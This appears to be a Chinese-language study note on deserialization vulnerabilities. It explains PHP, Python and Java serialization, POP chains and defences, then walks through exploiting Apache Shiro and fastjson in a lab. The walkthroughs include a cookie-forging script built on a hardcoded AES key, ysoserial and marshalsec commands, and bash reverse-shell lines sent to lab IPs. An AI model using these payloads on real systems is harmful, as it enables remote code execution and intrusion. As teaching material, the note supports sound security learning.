反序列化漏洞
反序列化漏洞
ccb反序列化漏洞
参考:https://www.anquanke.com/post/id/224769
原理
序列化 :
概念:将对象转换成字节序列(json/xml文件)。
作用:在传递和保存对象时,序列化可以保证对象的完整性和可传递性。对象被转换为有序字节序列,以便在网络上传输或者保存在本地文件中。
反序列化:
概念:将字节序列(json/xml文件)转换成对象。
作用:根据字节序列中保存的对象状态及描述信息,通过反序列化重建对象。
序列化的优点
将对象转为字节流存储到硬盘上,当 JVM (java虚拟机)停机的话,字节流还会在硬盘上默默等待,等待下一次JVM的启动,把序列化的对象,通过反序列化为原来的对象,并且序列化的二进制序列能够减少存储空间(永久性保存对象)。
序列化为字节流形式的对象可以进行网络传输(二进制形式),方便了网络传输。
通过序列化可以在进程间传递对象。
序列化的实现
java
Java中,只有实现了 Serializable 或者 Externalizable 接口的类的对象才能被序列化为字节序列。
1 | // 序列化 |
1 | public class SerializableTest { |
另外java还有其他序列化实现方式,比如 json、==fastjson==、ProtoBuff、Hessian、Kyro等。
参考:https://blog.csdn.net/m0_46201444/article/details/115081351。
php
php中,序列化和反序列化对应的函数分别为 serialize() 和 **unserialize()**。
1 |
|
数组的序列化:
1 | "a:3:{i:0;s:1:"I";i:1;s:4:"Like";i:2;s:3:"PHP";}" |
对象的序列化:
1 | "O:3:"man":3:{s:4:"name";s:7:"xiaocui";s:3:"sex";s:3:"man";s:8:"manage";i:26;}" |
测试:
数组的序列化和反序列化
1 | <?php |
1 | <?php |
对象的序列化和反序列化:
1 | <?php |
1 | <?php |
python
Python中序列化一般有两种方式: pickle
模块和json
模块, 前者是Python
特有的格式, 后者是json
通用的格式.
pickle
有如下四种操作方法:
1 | dump 对象序列化到文件对象并存入文件 |
实例:
1 | import pickle |
python反序列化漏洞原理:
python反序列化后产生的对象会在结束时触发__reduce__()
函数从而触发恶意代码。类似于PHP中的__wakeup()
方法。
payload:
1 | import os |
魔术方法
序列化或反序列化的过程中会自动调用一些魔术方法。
php 中 magic函数命名是以符号“__”开头的
1 | __construct:当一个对象创建时调用(constructor) |
漏洞成因
PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。
PHP反序列化漏洞的形成的根本原因是程序没有对用户输入的序列化字符串进行检测,导致反序列化过程可以被恶意控制(执行魔术方法),进而造成代码执行(XSS等)、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
Java相对PHP序列化更深入的地方在于,其提供了更加高级、灵活地方法 writeObject ,允许开发者在序列化流中插入一些自定义数据,进而在反序列化的时候能够使用 readObject 进行读取。如果用户自定义了一些恶意数据在序列化字符串中,在反序列化为对象时,其中的变量被用于命令执行等操作,就会造成反序列化漏洞。
注意:反序列化对象时,不会调用对象的构造函数,因为是反序列化得来的。但是在程序结束时会调用对象的析构函数。
利用方式
利用条件
- 反序列化函数中的参数可控(Java反序列化等)
- 存在可利用的类,且类中有魔术方法(php、python反序列化等)
例如,有如下PHP实例:
1 |
|
可以确定可控参数是GET型string参数,并且后端接收参数后会进行反序列化操作。同时,test类中存在__wakeup魔术方法,操作是eval($id)。
那么我们思路是:构造test类的序列化字符串,使得反序列化后的$id值为要执行的操作(代码执行漏洞),例如我们要执行phpinfo(),那么可以构造这样一个字符串:
1 | O:4:"test":1:{s:2:"id";s:10:"phpinfo();"} |
这样反序列化会时就会自动调用__wakeup
魔术方法,即执行eval(phpinfo();)
。
POP链构造(php)
其实实际中基本不会有上述实例这种这么简单的利用过程,更多的则是需要通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。关注整个函数的调用过程中参数的传递情况,找到可利用的点。
**POP CHAIN(POP链)**:
通过用户可控的反序列化操作,其中可触发的魔术方法为出发点,在魔术方法中的函数在其他类中存在同名函数,或通过传递,关联等可以调用的其他执行敏感操作的函数,然后传递参数执行敏感操作,即
用户可控反序列化→魔术方法→魔术方法中调用的其他函数→同名函数或通过传递可调用的函数→敏感操作
实例1
test.php内容如下:
1 |
|
代码分析:
首先我们看最先执行的操作在最下面反序列化GET到的参数data,然后执行echo,这里如果$user_data是一个类实例化来的对象的话,就是将对象作为字符串输出,会触发对象中的__tostring()
魔术方法。
而源码中有三个类,各个类具有不同的方法。
POP链构造:
首先出发点是Test1中的
__tostring()
魔术方法,其中调用了$this->obj
中的Delete()函数,而$this->obj
在实例化对象时会触发__construct
方法,将$this->obj
作为实例化Test3类的对象,那么此时调用的就是Test3类中的Delete()函数,只返回一句提示,那么此时的执行流如下:实例化Test1类的对象→
__construct()
→$this->obj=new Test3
→输出该对象时调用__tostring()
→Test3的Delete()方法不过在Test2类中也定义了和Test3中同名的函数Delete(),该方法可能造成任意文件删除。那么我们可以通过构造特定的反序列化参数来修改执行流,也就是构造我们自己的POP链,在反序列化后使用Test2类中的Delete()来执行敏感操作,让执行流如下:
实例化Test1类的对象→
__construct()
→$this->obj=new Test2
→输出该对象时调用__tostring()
→Test2的Delete方法那么POP链的构造就是通过反序列化和echo来触发
__tostring()
魔术方法,并且此方法中调用Test2中的Delete()方法,造成任意文件删除的危害。
POC如下:
1 |
|
java反射机制
反射 (Reflection) 是 Java 的特征之一,它允许运行中的 Java 程序获取自身的信息,并且可以操作类或对象的内部属性。通过反射,我们可以在运行时获得程序或程序集中每一个类型的成员和成员的信息。通过Java 反射机制,我们可以动态地创建对象并调用其属性,这样的对象的类型在编译期是未知的。
反射的核心是 JVM 在运行时才动态加载类或调用方法/访问属性,它不需要事先(写代码的时候或编译期)知道运行对象是谁。
Java 反射主要提供以下功能:
在运行时判断任意一个对象所属的类;
在运行时构造任意一个类的对象;
在运行时判断任意一个类所具有的成员变量和方法(通过反射甚至可以调用private方法);
在运行时调用任意一个对象的方法
重点:是运行时而不是编译时
反射机制在java反序列化漏洞的利用过程中有很重要的作用。
java反序列化利用
Java 序列化过程依赖于 ObjectOutputStream 类中 writeObject 方法,而反序列化的过程是依赖于 ObjectOutputStream 类中 readObject 方法。若用户重写了自定义的 readObject 方法,那么就有可能产生反序列化的时候命令执行的漏洞点。或者用户精心构造恶意的类的序列化字符串,那么在反序列化实例化这个类时就会执行其中的恶意代码(比如rmi远程代码)。
利用java反射重写 readObject 方法:
反射机制的存在使得我们可以越过Java本身的静态检查和类型约束,在运行期直接访问和修改目标对象的属性和状态。Java反射的四大核心是 Class,Constructor,Field,Method。通过反射的方法重写readObject:
1 | //ReflectionCalcObject.java |
通过运行 java.lang.Runtime 这个类的 .class 属性,并使用 getMethod 方法来获取我们要执行命令的方法 exec ,最后我们通过 invoke 来实现注册这个方法,打开计算器。
防御
最有效的方法是不接受来自不受信任源的序列化对象或者只使用原始数据类型的序列化,但这不容易实现。
完整性检查,如:对序列化对象进行数字签名,以防止创建恶意对象或序列化数据被篡改。
在创建对象前强制执行类型约束,因为用户的代码通常被期望使用一组可定义的类。
绕过
__wakeup()函数绕过
只要序列化的中的成员数大于实际成员数,__wakeup()
魔术方法将不会被执行,从而导致绕过。
注意,需要PHP版本<=5.6.25或者PHP版本<=7.0.11。
举一个简单的例子,考虑一个使用序列化User
对象的网站,该网站将有关用户会话的数据存储在cookie中。如果攻击者在HTTP请求中发现了序列化对象,则可能会对其进行解码以找到以下内容:
1 | O:4:"User":2:{s:8:”username”:s:6:”carlos”; s:7:”isAdmin”:b:0;} |
注意到这里的isAdmin属性,攻击者可以简单地将该属性的布尔值更改为1
(true),重新编码对象,然后使用此修改后的值覆盖其当前cookie。
以及,修改
实例
参考:https://www.freebuf.com/articles/web/286442.html
shiro反序列化漏洞
https://blog.csdn.net/huangyongkang666/article/details/124175812
原理
低版本的apache shiro ( <= 1.2.4版本)默认使用了CookieRememberMeManager。当用户勾选RememberMe并登录成功,Shiro会将用户的cookie值序列化,AES加密,接着base64编码后存储在cookie的rememberMe字段中。而服务端接收到cookie后:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码在源码中的,所以当攻击者知道了AES key后,就能够构造恶意的rememberMe cookie值从而导致反序列化的RCE漏洞。
利用条件
返回包中含有rememberMe=deleteMe字段
用到的工具
ysoserial
ysoserial集合了各种java反序列化payload,下载地址为
https://github.com/frohoff/ysoserial
。安装过程:
1
2
3git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests //需要安装maven才能使用mvn命令shiro_tool.jar
集成化工具,下载地址为
https://toolaffix.oss-cn-beijing.aliyuncs.com/shiro_tool.jar
。可用于获取目标IP的shiro中是否存在默认的AES密钥。命令如下:
1
java -jar shiro_tool.jar http://192.168.241.129:8080
1
kPH+bIxk5D2deZiIxcaaaA==
漏洞利用
测试能否使用rememberMe字段
使用burp抓取当前页面数据包,在cookie中添加rememberMe=1。若响应包中显示Set-Cookie: rememberMe=deleteMe,说明存在shiro框架,可能存在漏洞。
监听并构造反弹shell
通过 ysoserial 中的 JRMP 监听模块,监听4444端口并执行反弹shell命令。
反弹shell命令:
1
2
3bash -i >& /dev/tcp/192.168.241.128/4444 0>&1 //需要base64编码,在线编码http://www.jackson-t.ca/runtime-exec-payloads.html
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xMjgvNDQ0NCAwPiYx==}|{base64,-d}|{bash,-i}'
单引号中的就是要执行的命令
构造payload
利用检测出的AES密钥,生成payload:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22# python2
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command): # shellcode
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # AES密钥
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print ("rememberMe={0}".format(payload.decode()))执行上述代码:
python shiro.py 192.168.241.129:6666
,得到payload,即恶意的rememberMe。开启nc监听
1
nc -lnvp 6767
抓包,插入恶意rememberMe
抓包,在cookie中将上面恶意构造的rememberMe发送出去:
成功getshell
fastjson反序列化漏洞
原理
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。
在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
用到的工具
预先安装maven并配置环境变量,下载marshalsec,进入marshalsec 目录,使用mvn clean package -DskipTests命令编译出marshalsec的jar包
漏洞利用
生成payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.2.101/6767 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
}
catch (Exception e) {
// do nothing
}
}
}进行编译生成.class文件。搭建服务,要测试能直连TouchFile.class ,才会执行文件里的命令。
开启rmi服务
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.2.101:4444/#TouchFile" 9999
其中
http://192.168.2.101:4444
为你的rmi服务器的地址,9999为rmi监听的端口开启nc监听,6767为监听的端口
1
nc -lnvp 6767
发包
获得shell